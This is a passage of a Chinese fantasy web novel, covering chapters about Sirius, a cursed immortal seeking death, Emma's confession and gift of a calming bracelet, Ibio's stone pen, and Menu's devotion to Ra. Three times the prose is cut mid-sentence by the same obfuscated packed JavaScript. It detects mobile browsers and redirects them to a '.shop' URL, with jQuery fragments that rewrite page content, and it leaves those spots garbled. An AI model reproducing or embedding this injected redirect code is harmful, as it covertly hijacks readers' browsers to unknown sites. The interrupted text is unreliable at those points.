拉跳跃闪避了几次攻击,又随手捏断了几道不好避让的线,仍有余裕在躲避里说话:“杀气那么明显,我都意外你还有问我问题的心情。如何,放弃思考之后,压力都减少了吧?” 西里斯抬起手,握拳,周围的红线全部曲过角度,猛地集中向拉刺去。 拉拍一拍手,仿佛被某道看不见的屏障所隔,刺来的红线全部撞断在了她身边。 西里斯说:“你不还手。” “我可不会跟自己讨厌的人说那么多话。”拉说,“如果你想纾解压力,我倒不介意陪你玩一会儿。 “但你是艾玛喜欢的人,你要是受伤了,艾玛会伤心;我是艾玛的朋友,如果我受伤了,艾玛也会伤心。” 西里斯停了停动作,几根红线因为控制断掉而消失了:“……倒是好意思说。” “事实而已,有什么不好意思的。”拉坦然道,又一个响指折断了几根线条。 她避着避着,跳到了一截断裂的石柱边,被红线割开的石头切面平整,拉干脆坐到了那块石台上。 红线越来越虚浮的攻击在碰到她屏障前自己消散了,西里斯转身就走。 “呦,不玩啦。”拉在他背后呼唤,声音被更空荡的回廊扩大,仿佛震颤笑声。 “你跟自己玩 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来人却不因为这目光退却,从背光处向他倾过身来,在他视野中清楚地露出那双橙色的眼瞳,烈烈日光下,如凝固的晚霞。 阿嘉蒂辛遗憾地再次挽留:“你才待了半个月,也可以再休息休息,再考虑下嘛。” 他说:“如果你改变主意,答应杀死我,我就留下。” 阿嘉蒂辛说:“我不承诺自己未必做得到的事。” “那就没什么好考虑的。” 她叹了声气。 . 艾佩庇里亚与赫克米洛斯相邻,王国中许多人信仰日神,不少塞利法斯也同样。 女王下达通缉令之后,就有少数塞利法斯逃至日神神殿,寻求神殿的庇护。 当政的日神女巫阿嘉蒂辛接纳了他们,在塞壬女王发信要求她交出逃犯时,严词拒绝,并声讨了她的不义暴行。 塞壬女王对此不置一词。 神殿立场中立,女巫即位时又订下过不战誓约,阿嘉蒂辛无法干涉他国的内政。 时局混乱,牵扯太多,她也不能轻易从赫克米洛斯离开。 阿嘉蒂辛那时隐约意识到,艾佩庇里亚的女王应该是另一位神明的女巫。 她想见塞壬一面,但没有回信,女王从不离开宫殿。 在黄金泛滥,奇迹盛行的时代,神明的权威亦被削弱。 信仰凋敝,艾佩庇里亚中许多世代信奉日神的贵族仍惯于把神当作挂在口边的勋章,却不具有多少实际的尊敬。而不信神者更比比皆是。 阿嘉蒂辛已经有心留意,刺客和猎人仍然悄无声息地为悬赏潜入神殿。 她还是从刺客手中保住了几个塞利法斯,但焦虑与痛苦无孔不入,即使在神明的殿堂之内,女王的恐惧仍笼罩了他们。 有人因焦虑疯狂,有人因恐惧自缢,幸存者于痛苦中郁郁而终。 艾佩庇里亚灭亡之后,最后的塞利法斯找到日神的神殿来,最终能看见的只有同胞的墓碑。 157.石笔 阿嘉蒂辛很欣赏他,劝解说漫长的性命未必不是一种奇妙的旅途,可以试着削弱其负面影响,然后发扬它有利的部分。 但怒火中烧的当事人显然没有那么乐观。因此对挽留招揽他在赫克米洛斯工作的邀请,也一概地被他视而不见。 阿嘉蒂辛那时跟他说过很多话,从自己的童年经历到赫克米洛斯的城区构造,带他东转西晃,什么都说。 她很能讲,还喜欢热闹,三天把他扔进了五场宴会,音乐声比他脑海里那些哭声还吵得让人发慌。 他最早对阿嘉蒂辛抱有一个曾伸出过援手的善意者的敬意,但那一点尊敬很快在相处中被各种各样地消磨。阿嘉蒂辛大他十几岁,照顾他时便是长辈般的口吻。 他从同胞的墓碑前被拽走,却并未真正从悲痛中被拽出来。 躯体、现状、未来,一切都令他烦躁和恼火。 宴会和欢乐不属于他,生活和将来本也不该属于他,他迫切想要一个终点,却看不见通向终点的路。 阿嘉蒂辛承认,无论天赋悟性,她在女巫中也并不是最强的那类,而塞壬能算其中佼佼者,她的诅咒极其稳固。 女巫的诅咒,只有强大如女巫的魔法师才能解开。 但阿嘉蒂辛拒绝杀死他,也拒绝了他以此作为交换开的任何条件。 或许是没有解开这个诅咒的把握,或许是不想为一个价值不足的路人交换自己的性命,或许是她不愿意再沾到塞利法斯的血,再或者矫情点,她当他是朋友。 哪种都无所谓了。反正结论都一样。 阿嘉蒂辛对塞利法斯有所援助,哪怕为这一点恩情,他也不会做出格的事。 自杀实验失败后,他就已经决心,不能再为自己追求的死亡去损害无辜者。 他已经为私欲选择过一次的错误,不能再重复另一次。 既然性命漫长,不能老去,不能死亡,那么他也等得起。 如果只有女巫解得开这个诅咒,那就再去找其他女巫。 . 阿嘉蒂辛送他离开时送到了城外。 他不会饥饿疲乏,又能使用许多的法术,拒绝了阿嘉蒂辛多余的礼物,临行前行李轻便。 他其实没有什么明确的方向计划,总之,先凭直觉走,也只有凭借“女巫的直觉”才能辨认出其他的女巫。 女巫间很可能互相吸引,也只能相信这种不讲道理的运数。 阿嘉蒂辛听完忧虑,看他像看一个要出门远行、前途未卜的孩子,这让他有所联想,不禁烦躁与刺痛。 于是他最后还是问,一个没有必要的理由:为什么阿嘉蒂辛不愿意尝试杀死他? 阿嘉蒂辛摇头,说:“你的命运不在我这里。” 她于是向远方指,沙漠的远处还是沙漠,地平线上的沙子一望无际。 她说,往西边去,你有你的命运。 . . 西里斯当年从未想过自己有一天会怀念阿嘉蒂辛。 老实说,关联的每一个部分都不是什么愉快的回忆。 无论是正在习惯身体变化与脑内噪音的不适,还是同胞的墓碑对于幸存幻想的又一次打击,又或者赫克米洛斯的喧哗热闹,与他格格不入。 那时他还保留有年轻的急迫,在艾佩庇里亚运营多年习惯的高效和功利。 这里不能实现目的,就迅速地切换离开,找去下一个目的地。 他停留与离开都说得上匆忙,因而当年的细节也并未过多留心,只在脑内细细碎碎,如今只能捡拾起零星的记忆。 只是后来他才发现,时间对他实在是太漫长,又在他身边流失得太迅速。 他其实早没有再那样急迫的必要了。 以至于如今回过头来,能作为锚点的事物也都如风沙一般流走,看哪里都陌生,手中什么都没有剩下。 他跟阿嘉蒂辛其实算不上很熟悉,半个月的交情,说过再多话,也只是他过长的百年时间里的半个月。 但那是他很早以前认识的人,从他人身上看见相似的影子时,仿佛故人从过久的回忆前去而复返。 那种对熟悉人事产生的天然亲切不讲道理,远胜从前的情分本该有的。 只不过在回忆复苏的同时,那些秉性不和的地方也重新变得鲜活,连带熟悉的烦躁和头疼都一起回来了。 . . . 在日神神殿期间,反正无事可做,西里斯就答应了伊比奥的历史参考邀请。 除去上次路过的那个修复古物的工作间,伊比奥自己有个书房,拉特别给他建的。 在书房讨论不影响同事,那里离藏书室还近,文书用具也齐全。 提供参考不是什么难事,从亲身经历里提取一些不带感情色彩的客观描述,对西里斯来说很轻松。 伊比奥翻出文书记录跟他的叙述比对,有时讨论,有时沉思,在笔记本上写写画画。 西里斯对艾佩庇里亚的了解维度很广,从民间到宫廷都有涉猎,复述的记忆清晰准确。 伊比奥很惊讶。 仅从这些细节上,就足够看出西里斯当年经历的不平常。 但他没有多问,每每在西里斯点到即止的回答边缘,都很体贴地转换了话题。 正事忙完一个段落,伊比奥就端出茶来闲聊,给彼此一些休息时间,也是他习惯了的待客礼节。 西里斯不喜欢向人谈自己的私事,所以伊比奥至今对他的了解也不多,但这反而是个舒适的社交距离,对双方都自在。 闲聊时伊比奥会讲到自己的家乡,父母兄长,还有拉,偶尔也提些小时候的趣事。 “在贝努,孩子满周岁时,家长会在毯子上摆许多物件,像是钱币、首饰、书本、玩具等等,让孩子随意抓取。 “据说抓到的物件能预示孩子将来的喜好、性情和职业。 “大哥长我三岁,他周岁礼时抓了酒杯、水果,水果抓太多,又捞了个碗来装; “我当时则抓了一只石笔。这个纪念我现在还留着。” 伊比奥翻找一下,从抽屉里取出一支灰黑色的石笔来,笔身上有着一圈圈金色的文字浮雕,字符细小,笔头的石块被磨出好几个棱面。 西里斯接过他递来的笔,看清那金色的字符是艾佩庇里亚的文字。 “虽然只是博个彩头的游戏,并无绝对的准确性,但也或许含有什么尚未被概括的原理。 “我当时只抓了这支艾佩庇里亚的石笔,现在也正好做着相关的工作。想来,命运真是很奇妙的事情。” 伊比奥拿出张白纸,向西里斯演示。 他用石笔在纸上画了一道,石笔的痕迹很粗,灰黑色,然后又掉过头,用石笔的尾端擦过刚刚划出的痕迹,那笔迹立刻消失了。 “现在算起来,实际原理很简单:笔头擦下的石粉留下了书写的痕迹,笔尾却能把那些石粉全部吸走,写的字也就消失了。 “而被笔吸收回去的石粉重又成为了笔的一部分,如果把用它写过的字全部用笔尾擦掉,那么这支笔就永远不会缩短。 “虽然说起来简单,但这么小的一支笔,却施 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791094|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加有这么精巧的法术,我觉得很神奇。 “很小的契机,但我因此开始对艾佩庇里亚产生兴趣。” 西里斯默读了笔身上的文字,并不是什么咒文,而是几句常见的俗语和祝福。祝福执笔的人勇敢真诚,喜乐幸福。 “‘祝你没有不能纠正的错误’,”伊比奥用艾佩庇里亚语念了笔身上的最后一句,“——我很喜欢这个寓意,就像这支笔写下的文字都可以修改一样。” “假如我不去书写,就不会犯错,笔也不会损耗;可如果我什么都不写,错误不会发生,但最终同时也什么都不会得到。这样的想法给过我勇气。” 伊比奥笑了笑,“这支笔我用过三分之一,可惜笔头太粗了,写起来不太方便。” 西里斯转过笔身,辨识磨损的金色署名:“我见过类似的东西。核心是人造的魔法石,即使石墨用光,只要核心还在,就能重复利用。 “但成本太高,核心只有很少的魔法师能做,推广和普及遥遥无期,只留下这种试作品。应该是还想把笔头做得更精巧,换别的材质……大概最终也没做成。” 西里斯搁下笔,还给他:“失败的理由太多,我不记得了。” “真遗憾。”伊比奥惋惜道,没有再多做评价。 他收好笔,又想起什么:“说起来,拉周岁礼的事我还有点记忆。” “是吗?”西里斯不多不少地抛出一点好奇。 “我比拉大两岁,那时候还很小。不过后来父母总是提起,不免就记得了。” 伊比奥表情放松了些,目光变得更柔和,似乎很无奈,语气却是轻快的,“拉从小就很聪明活泼,抓取物件前,父亲和母亲还打了赌,一人从毯子上划分了一半的东西,猜猜拉会抓中谁选的那部分,我和大哥也在旁边看。” “拉在毯子上摸摸索索了一通,把物件们翻来翻去,一件都没有抓,还扔了几个不顺眼的,然后离开了毯子。 “她那时候已经会走路,但走得还不是很稳,有时走有时爬。 “她站起来朝着我和大哥噔噔噔冲过来,然后把我俩往毯子上推。 “她那时力气还没那么大啦,但我们顺她拉着推着的方向跟过去了。 “确认让我们坐在毯子上之后,她就……把整张毯子,带着上面的所有物件、我和兄长一起卷了起来,然后对着父亲母亲很得意地拍了拍毯子。” 伊比奥说到这里,没忍住笑出声来:“她大概听明白了,她可以随便从毯子上拿东西,拿到的就是她的,所以就……把能拿的、想拿的都拿了。父亲和母亲都笑得很开心。” “……不愧是她。”西里斯说。 “拉从小就是很有想法和主意的人,我总被她带着跑。有时候是有点困扰,但更多时候觉得也不坏。” 伊比奥说,“毕竟,拉一定是对的。” 他说这话时很轻松,却因为过于自然,而显得话里的肯定异常确切。伊比奥很少用这么确信的形容。 西里斯最终没说什么,懒得评价,但又提醒了自己一次:这小子虽然看起来很像个正常人,但谨记他跟拉流着一样的血,别太掉以轻心比较好。 . . 房门上敲了两声。 伊比奥起身去开门,见到来人时愣了一下:“月神女巫殿下……” 艾玛站在门口,西里斯也看见了她。 他离开座椅,对伊比奥说:“抱歉,我们单独聊一会儿。” 艾玛也向伊比奥点头致歉。 伊比奥回过神,连忙示意没事,请他们自便。 158.空隙 伊比奥书房的位置是拉告诉艾玛的,找到路对她并不难。 书房位置僻静,连通的走廊上无人途经。 伊比奥关上了门,书房的隔音很好,他听不见他们的谈话。 书房门边靠墙的窗户磨砂,午后正在减弱的阳光透进来,雾蒙蒙地发亮。 “我想应该从那个诅咒的术式入手,先理解它的设置条件,解读它的语言,或许就能发现它薄弱的环节。” 艾玛说,“西里斯,你还有很多没告诉我的事。想要理解这个诅咒,我需要你的帮助。” 西里斯看着她,艾玛笔直地望着他的眼睛。 他沉默了一会儿,才回答:“……我原本乐于提供帮助,但前提并不是‘让我活下去’,艾玛,我们从来不是这么约定的。” “‘三个愿望交换一个愿望’,你还没有许愿,我也没有承诺过必须杀死你。” “契约的规则是,我只能在你许完三个愿望之后再许愿。如果想听的是我复述到都已经厌烦了的决心,那你现在就把第三个愿望许了吧。 “只是别把它用在什么对我说‘活下去’这样毫无意义的事情上,艾玛,”西里斯放低了声音,语气却变得冰冷,“别逼我恨你。” 艾玛说:“嗯,我不会用的。” 西里斯盯着艾玛。 他知道她向来有这样的脾性,一旦心里产生了某种明确的想法,原本稳定的性情便变得几近坚硬,任何他人的情绪意见都不会再对她造成干扰。 乍一看是自尊自信,实则是低共情能力的体现之一,本质何其薄情。 忠于自我,固执己见,对不感兴趣的一切漠不关心。 女巫总是这样。 西里斯最讨厌她们这部分特质,或者说,这厌恶出于恐惧。 作为盟友、作为同伴的时候,西里斯会因艾玛这样的特质感到欣慰,这种个性无疑在与人往来时是种防护,使她免受许多伤害。 但如果作为她的敌人,西里斯也能体会到,这是种多么不愉快的感觉。 艾玛在他面前往往柔和且犹豫,就像刻意地展现给他那些甲壳间的脆弱与缝隙,而一旦甲片扣拢,仿佛它们本就浑然一体般无懈可击。 西里斯在她的眼睛里感到无从着手的无力,他抽出了视线。 艾玛却仍然盯着他,甚至向前走了一步,西里斯后退。 艾玛注意到这个动作,停住了靠近。 “我想过很久,该怎么向你描述。”艾玛说,“实际上,我很害怕。害怕变化后的关系会变得更糟,害怕我和你之间的不同,害怕我们无法彼此理解,害怕被你讨厌。 “因为这样的恐惧,我拒绝做出任何尝试,所以现在也没有得到任何东西。我回避问题太久了。 “西里斯,请看着我。” 西里斯顿一下,看向艾玛。 她的视线强烈而坦诚,令他心脏震颤,发麻般开裂着疼痛。 西里斯握紧了手,指甲嵌进手心,迫使自己不移开目光。 “我必须正视自己的心情。”艾玛按在自己胸前的手慢慢收拢,“即使否认恐惧,害怕的可能也仍然存在。畏怯使我弱小,让我距离目标更加遥远……而我明知如此。我不能再这样继续下去。” 她在西里斯的视线里低下了眼睛:“我其实,也知道,我很难改变你。我不觉得自己能够轻易地说服你。 “我知道,这就是你和我之间最巨大的不同,是我必须面对的:我没有办法理解你的感情,即使我努力试过了。我很抱歉。” 艾玛握紧手,深吸了口气:“我真的——很想靠近你。意识到之后,一看见你就有点控制不住……但你好像,很讨厌我这么做。 “如果这会让你感到困扰,我会尽量,减少和你的见面。 “我不会强迫你接受我的想法,但也不打算让步。因为这次,我清楚自己到底想要什么。 “我答应你,我会尽自己最大的努力,去得到一个结果,最终无论它是否是我所期望的,我都会接受。” 艾玛抬起眼睛,有些悲伤地: “至少……我不希望自己喜欢的人再这么痛苦了。” . . 西里斯打开门时,伊比奥还在整理笔记,见他回来,礼貌地招呼道:“啊,西里斯先生,你们谈完了吗?” 西里斯沉默着,一言不发。 他的脸色实在太难看,伊比奥很快察觉,吓了一跳:“怎么了?” 回应他的仍然是沉默。 西里斯握着拳,因为过度用力,手有些发抖。 他努力克制着自己不断上涌的烦躁、恼怒,还有许多和它们搅合在一起的情绪——他没心情思考和分辨。愤怒让他有点接近暴躁了。 西里斯的表情格外阴沉,伊比奥一时有点战战兢兢。 事情跟伊比奥没关系,西里斯知道自己应该控制住情绪,回答一句“没事”,说点轻松的话把场面圆过去。他早就很擅长做这些事了。 再愤怒、再反胃的时候,为了能在艾佩庇里亚活下去,为了复仇,他早就学会了面不改色地说很多违心话。他早就很习惯了。 可是不理智的沉默仍然延续着,那种成熟并没有一如往常地回到他身上,西里斯自己都觉得这任性过于莫名其妙。 他什么时候又变得这么心浮气躁了? 伊比奥感到这氛围过于可怕,默默地起身,默默地到角落烧水泡茶去了。 过了好一会儿,茶烧好了,伊比奥想他大概也冷静下来,便过去轻轻放下茶。 还没来得及提醒烫,更没来得及问发生了什么,西里斯拿起茶杯,直接把整杯滚烫的茶水喝了下去。皱了一下眉。 好可怕。伊比奥不敢问,也不敢动,有点想今天的工作就到这里好了。 但是他现在也不敢跟西里斯提离开书房下班的事。 伊比奥默默坐回桌边,沉重地翻开笔记,开始思考现在祈祷拉来救他的可能。 . . 拉还有大批公务要忙。 作为日神神殿的正统统治者,上到政策外交,下到城内诸事,大部分决议都得过她的眼。 即使神谕祭司分担了许多杂务,也主要起到一个信息收集整理与分析的作用,决策要由拉来做。 日神神殿的巡防营现在未设军权祭司,直接由拉管理,也就是兵权全部握在她手上。 即使不论法术,她的战斗技巧和身体素质也足够令兵士们叹服。 拉去巡防营视察前问艾玛要不要跟着去看看,但艾玛的心思在其他方面上,便婉拒了。 吉尔伯特过来催促时,拉仍然很不舍地挂在艾玛身上。 她最近忙完累了就跑来找艾玛,有时分享趣事,有时抱怨,有时默不作声地和她贴一会儿,心情似乎就好了不少。 在吉尔伯特看来,这当然不是待客的礼仪,时不时对艾玛投以“抱歉,我们女巫殿下就这样,给您造成困扰了”的歉意眼神。 艾玛实际并不觉得困扰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796815|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 拉离开前,艾玛向她询问日神神殿魔法道具研究部的位置,拉招呼梅努过来,让她给艾玛带路。 . 艾玛最近总是从藏书室借来书,就在拉的书房待上一天。 书房在女巫房间的隔壁,拉忙完回来准能在书房找到她,便推着艾玛出门吃点好的,晚上她们仍在同一张床上休息。 艾玛觉得这样也方便。 拉入睡很快,而艾玛夜晚睡眠不深,同寝对她们原本的睡眠质量没有干扰,甚至对拉的心情有益无害。 后来艾玛常常在拉房间里见到梅努。 梅努有自己的房间,但经常会来拉这边打个地铺就窝一晚上。 有一次艾玛见到她坐在拉床上拼玩具,见到艾玛和拉回来,就从床上下来了。 梅努经常跟着拉出现,但拉开始跟艾玛谈天说地之后,时常便无声地离开。 从观察里,艾玛逐渐认识到,她的出现或许挤占了梅努原本在拉身边的位置。这对梅努想必不是件愉快的事。 梅努走在先于艾玛半步的位置给她带路。 她对整个赫克米洛斯的路径都很清楚,仿佛脑内有张永远清晰的地图。 梅努的法术能让她轻松找到任何一个移动的目标,更不要说找一个固定的地点有多轻松。 艾玛看她的侧脸,没从梅努脸上看出什么特别的情绪,她身后尾巴平静地垂着。 而注意到艾玛的目光,梅努歪过脑袋,尖耳困惑地画了个弧:“怎么了吗?” “没什么。我在想,还没有单独和你说过话。”艾玛说。 梅努点头:“你也总是看起来很忙,应该也有很多重要的事情要做吧。像拉那样。” 艾玛说:“你跟拉的关系很好。我最近经常和她待在一起,是不是让你跟她相处的时间变少了,你会不高兴吗?” 梅努疑惑一下,明白了她的意思:“啊……要说的话,唔,有一点点难过,吧。一点点。但拉一直是这样的。 “她总是会突然喜欢上什么东西,然后有一段时间就对那个很狂热,讨厌别人在那期间打扰她。 “拉不喜欢被人粘得太紧,她希望我也有自己的生活和爱好,我也是这样在做的。现在我有自己的工作,也有自己的兴趣。” 她说到这里,停一停,皱起眉。 因为没被人这么问过,认真地思考起来。 她的表情变化幅度总是不大,在那副成熟的外表下,天然有种洒脱的酷感。 “拉的兴趣会改变,喜欢的东西也会变。那些东西可能会消失,但我是肯定会一直在拉旁边的。只要她需要,我就会在。” 梅努想一想,点头,严肃地结论,“拉不属于我,但我是她的。所以她高兴,我就不会不高兴。” 梅努看向艾玛,认真地说:“你是拉的好朋友,她很喜欢你,跟你待在一起的时候很高兴,所以我也喜欢你。你不用担心我。嗯,但你看起来不是很高兴,有心事。” 梅努的视线反过来透出一点担忧和鼓励,握了握拳:“你可以让拉帮忙,她很厉害,什么都做得到。如果有需要,也可以叫我来帮你。” “你已经在帮我了。”艾玛笑了笑。 梅努想了想,自己确实正在给艾玛带路,满意地点一点头:“我很擅长认路,找人和找东西都可以交给我。” “那太好了,我对赫克米洛斯不熟悉,肯定还会有这样的时候,那就麻烦你了。” 梅努骄傲地拍拍胸口,表示包在自己身上。 159.繁乱 西里斯冷静下来之后,缓慢地开始整理自己的思绪。 “艾玛不愿意杀死他”这件事,西里斯早有一定的预想,理智上也不是不能理解。毕竟正常人都不会愿意杀死自己的朋友。 他以为听到艾玛的想法后,自己起码能冷静地和她谈一谈,但情绪比想象得还要剧烈,西里斯分析不清这种愤怒的来源。 但恼火大抵也是正常的——他第一次如此清晰地向人讲述了自己过去,时隔上百年,重新撕裂开自己最深的伤口,就是期望艾玛能够理解,死亡对他来说才是解脱。 如果是为了他好,就应该杀死他。 艾玛显然能理解到这层意思,但她说,想要他活下去,因为她希望这样。 这确实是女巫会有的想法,明白清晰的利己。 说到这个地步,西里斯反而只能感到无力。 就像艾玛不能说服他,他也改变不了女巫最基础的本能逻辑。 现状已经够糟了,回头思考是从哪一步开始出错的已经没有意义。 西里斯试着让自己思考一些乐观的角度。 这里是日神的神殿,现在有在位的女巫。 拉很强,如果她能帮艾玛,或许可以更简单地强行破解诅咒……不,那个诅咒牺牲了太多性命。 魔法的基础规则是等价交换,它支付的代价必须要被等重的东西替换,绝不可能那么轻易。 或许他可以欺骗艾玛。 他可以协助艾玛解读诅咒,让她相信自己愿意活下去。 虽然温和地解除诅咒更加困难,但如果找到了正确的方法,也更可能不用搭上艾玛的性命。 而只要诅咒解除,他就不会再有不死的身体,随时可以找机会自杀。 但这远比说起来艰难。 西里斯不想欺骗艾玛,如今在她面前连伪装一副面具都困难。 毕竟他原本就不喜欢说谎。 艾玛不是那些冷血势利的贵族,她的冷漠麻木是糟糕的幼年环境所形成的自我保护,女巫的天性也不是她的过错。 即使不理解,她也总是在尽力地帮助他人,甚至如今一定也有想要帮助他的因素在。 她从未杀过人,纯洁善良且无辜,是擅自介入她生活的他有所亏欠,他本就没有伤害艾玛的资格,当然也不该欺骗她。 西里斯反复否定了自己的想法,随着一层又一层无用的思考堆积,再度烦躁起来。 他也感觉到,自己最近的情绪控制能力实在是很差,很不像他。 是因为在艾玛身边待久了,习惯了放松的状态,甚至习惯她能承接自己的情绪,被惯出这种不讲道理的任性了吗? 他才是年长的那一方,这种幼稚的反应实在不应该。 西里斯更深了一层自我厌恶,试图平复情绪,却连这种平复的尝试也徒劳无功。 他直接打住了思考,决定暂时放下毫无意义地循环问题,出去透透风。 . . 西里斯在阿瓦托芬时偶尔会去街上走走。 赫克米洛斯的城市街头热闹,跟阿瓦托芬不差多少。安居乐业的民众的生活氛围总是大抵相似的。 多年之前,阿嘉蒂辛曾带他在赫克米洛斯的屋顶爬上爬下,向他介绍这座城市的建筑,描画自己将来的蓝图。 热衷创造的后来者显然早把这座城市改得大变样,另有一副美感与生机,但西里斯无法从这幅景象中得知,阿嘉蒂辛规划的东西后来是否真正存在过,又或者从未实现。 一百七十年足够这座城市天翻地覆了。当年的店铺,路径,建筑风格,对现在的他依旧全然陌生,没有什么似曾相识的影子。 也是他当时心思根本不在这座城市具体怎样上,现在记不清也是当然的。 他不会饥饿,也不口渴,没有紧迫的需要。 审美装饰的物件,不管什么样的风格,百年时间里也看得够多了。 西里斯没有想买什么东西,也不知道自己想干什么,只是想放空脑子随便走一走。 赫克米洛斯热情的摊贩比阿瓦托芬要多,西里斯只是经过就被极强烈的吆喝声拉到摊前去,便顺带着随意看一看。 他看到一些设计新颖的玩具,心里没什么波动,却忽然想:艾玛大约会喜欢这个。 这想法让他愣了一下。 他走进书店里,翻阅时想到艾玛会对这类故事感兴趣。 又在售卖首饰的摊位边出了会儿神,意识到自己在设想这样的款式跟艾玛是否合适。 西里斯是想要把自己从对艾玛的困扰中抽离出来喘口气,才出来走走放空脑子的。但他后知后觉意识到这也没有效果。 即使她不在自己面前,甚至有意识不去想跟她相关的事,也根本无法控制。 西里斯不想要自己的生命,更不想要什么生活,所以也不在乎大多数事。 而艾玛从一开始就是绝对重要的,她的重量稳定了他的虚无,理所当然成为了他生活的重心和准绳。 一旦这部分动摇,他的生活必然随之失准,甚至难以持续。 艾玛对他远比他以为的更加重要。 西里斯不得不面对这一点,但这种认识让他更加烦躁。 他控制自己停止深入思考,但在决定离开市集的时候,有一道想法下意识划过脑海:他有好几天没见到艾玛了。 艾玛说过会减少和他的见面,西里斯当然记得。 在阿瓦托芬的时候,他们经常好一阵子不见面,他也没觉得有什么问题,不是一样能习惯吗? 西里斯为自己陡然涌起的不悦感到莫名其妙。 他最近到底怎么回事? 西里斯没能想出个所以然。 他回到神殿,走去回自己房间的路上,听见身后的长廊上传来脚步声,直到熟悉的声音从一片混乱的思考里抓出了他的注意。 “西里斯!” 是艾玛。 他立刻意识到了,并迟半拍发觉,那些刚才自己怎么都停不下来的胡思乱想,在听见她的声音后就自动停住了。 ……因为她是女巫。 西里斯试图辩解。 这是她天然的能力,就像能压住他脑海中那些鬼魂的噪声一样。 或许就是因为鬼魂的声音消下去了,他才突然觉得脑子变得轻松。 西里斯回过头,看见艾玛正向他小跑过来,在他前面停住了。 日光在她金色的眼睛里晃了晃,西里斯感到心跳跟着一晃。 艾玛向他说:“你伸一下手。” 西里斯照做,抬起一只手臂,掌心向上着。 艾玛松开握着的手,手心里滑出一条手链。 红色的线绳,串着三枚白色的石块,石头上漾开不均匀的纹路。 她低下头,仔细地把手链系在了西里斯的手腕上,才说:“好了。” 艾玛抬头时,西里斯撞见她的目光,心虚般愣了下,立刻把视线移开了。 “你说过在这里还是容易听见鬼的声音,我担心你又头痛,试着研究了一下魔法石,做了这条手链。 “我在它上面附加了安神的效果,又是我亲自施加的法术,应该一定程度上能起到我的替代作用,帮你压住那些声音。”艾玛解释说,“如果还是不行……你可以再来找我。” 她停一下,又补充:“我也不是只在做这个,最近还看了很多关于诅咒的藏书……” “很辛苦。”旁边的梅努突然说。西里斯这时才意识到她在。 艾玛摸了摸脸:“不,还好……我是想说,我有在努力……你可以放心。 “我说过不会总来打扰你,今天只是想给你这条手链,没其他事情。那就……我先走了,再见。” 她说话时有意移开了眼睛,很快说完,然后匆匆离开了。 梅努看看艾玛,又看了一眼西里斯,跟上艾玛走了。 西里斯看向自己手腕上的绳串,石块全都打磨过棱角,温润地泛着光。 “鬼魂的声音”,因为早习惯了把它们当作背景,最近自己的想法太多,反而没有太注意。 艾玛制作的魔法石,他相信肯定有效,安神的法术或许能让他平静一些。 但为什么? 听到艾玛说不会经常见面,看到她离开之后,头脑又开始趋向沉重混乱,甚至心情变得……比之前还要烦躁了。 . . 艾玛近来经常在日神神殿内东奔西忙,许多资料需要实物查证和参考,得借用各种东西。 拉大多时候在忙工作,就叫梅努陪着艾玛。 拉有神殿内全部库藏的权限,她也毫不介意地将它们交给艾玛随意使用。 艾玛经常会在同一个地点停留很久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801491|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,专心研究自己的事情。 梅努在一边帮不上忙的时候就看着窗外发呆,或者自娱自乐玩点小游戏。 梅努还是不太会写字,写得最熟练的是拉给她设计的签名,因为重复练习过很多遍,笔锋流畅,很有点能唬到人的利落漂亮。 而日常她能写的词语较少,笔画一板一眼,有时却很散乱,像抽掉支撑塌下来的积木。 读书对她来说有点疲劳,梅努能认得八成以上不含生僻词的文字,但把它们连在一起又叫她头痛,许多书对她不具备实际意义。 梅努喜欢看图画多的书,其次是简短明白的寓言故事,有时也读些实用的教学工具书,像是教你怎么烤一个火候正好的红薯。 让她硬陪着自己虚度的时间对梅努来说过于浪费,没事需要帮助后,艾玛便经常让她随便去做自己想做的事。 梅努也不推辞,确认艾玛没其他要求,就拍拍尾巴走了。 专注于魔法研究消耗了艾玛大量精力,让她减少了许多杂乱的思虑,没有多余的心力关注其他事。 女巫在魔法上的天赋本就超常,明确的目标驱动和专心的时间投入不断回馈着成果。 之前一直卡住而无法提升的瓶颈,在思路打开之后,很顺利地渡过了。 但这种强迫般的、过度的高消耗型学习方式,显然也很快积累了艾玛的疲劳。 她有意通过这种强行集中注意力的方式排解自己的情绪。 看艾玛夜晚还坐在书桌边摊了一桌子资料,拉从她身后弯过腰,抱着她脑袋叹口气,压在艾玛肩上,颇有些无奈地摸摸她的脸,心疼的语气:“太辛苦了——别看了,休息吧!” 艾玛被她压得向前倾了倾,手里的笔滑到桌面上。 她抬手压在自己眉心揉了揉,声音已经疲倦了:“……我想把这本看完。” “明天再看嘛!” 艾玛抬起双手抵在眼睛前,低下头,长长呼出气。 拉坐到她身边,拍了拍她的背。 